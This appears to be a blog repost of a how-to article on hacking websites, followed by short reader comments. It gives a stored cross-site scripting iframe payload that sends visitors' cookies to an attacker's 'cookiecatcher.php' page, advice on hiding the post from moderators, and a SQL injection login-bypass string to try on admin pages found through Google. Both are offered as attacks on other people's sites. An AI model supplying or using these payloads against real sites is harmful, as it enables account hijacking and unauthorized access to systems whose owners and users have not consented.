Method 1 of 3: Using Cross Site Scripting
-
1
Find a vulnerable site where you can post content. A message board is a good example. Remember, if the site is secure then this will not work.
Ad
-
2
Go to create a post. You will need to type some special code into the “post” which will capture the data of all who click on it.
-
3
Create and upload your cookie catcher.
The goal of this attack is to capture a user’s cookies, which allows
you access to their account for websites with vulnerable logins. You’ll
need a cookie catcher, which will capture your target’s cookies and
reroute them. Upload the catcher to a website you have access to and
that supports php. An example cookie catcher code can be found in the
sample section.
-
4
Post with your cookie catcher.
Input a proper code into the post which will capture the cookies and
sent them to your site. You will want to put in some text after the code
to reduce suspicion and keep your post from being deleted.
- An example code would look like
<iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe>
-
5
Use the collected cookies. After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.
Method 2 of 3: Executing Injection Attacks
-
1
Find a vulnerable site.
You will need to find a site that is vulnerable, due to an easily
accessible admin login. Try searching Google for admin login.asp.
-
2
Login as an admin. Type
admin as the username and use one of a number of different strings as
the password. These can be any one of a number of different strings but a
common example is 1’or’1’=’1.
-
3
Be patient. This is probably going to require a little trial and error.
-
4
Access the website.
Eventually, you should be able to find a string that allows you admin
access to a website, assuming the website is vulnerable to attack.
Method 3 of 3: Setting Up for Success
-
1
Learn a programming language or two. If you want to really learn how to hack websites, you’ll need to understand how computers
and other technologies work. Learn to use programming languages like
Python or SQL, so that you can gain better control of computers and
identify vulnerabilities in systems.
-
2
Have basic HTML literacy.
You will also need to have a really good understanding of html and
javascript if you want to hack websites in particular. This can take
time to learn but there are lots of free ways to learn on the internet, so you will certainly have the opportunity if you want to take it.
-
3
Consult with whitehats.
Whitehats are hackers who use their powers for good, exposing security
vulnerabilities and making the internet a better place for everyone. If
you’re wanting to learn to hack and use your powers for good or if you
want to help protect your own website, you might want to contact some current whitehats for advice.
-
Research hacking. If
you’re wanting to learn to hack or if you just want to protect yourself,
you’ll need to do a lot of research. There are so many different ways
that websites can be vulnerable and the list is ever-changing, so you
will need to be constantly learning.
-
5
Keep up to date. Because
the list of possible hacks is ever-changing, you’ll need to be sure you
keep up to date. Just because you’re protected from a certain type of
hack now doesn’t mean you’ll be safe in the future!
3 Comentários:
ေမာ္သြားတာပဲဖက္လိုက္ရတာ တာလည္းေသျခာနားမလည္ေသးဘူး html code ေတြ ဘယ္မွာသင္လို့ရလည္း pro
Go to Train link https://www.w3schools.com/
https://www.facebook.com/profile.php?id=100088037623840&mibextid=ZbWKwL
Post a Comment
ေျပာခ်င္တာမ်ား ရွိက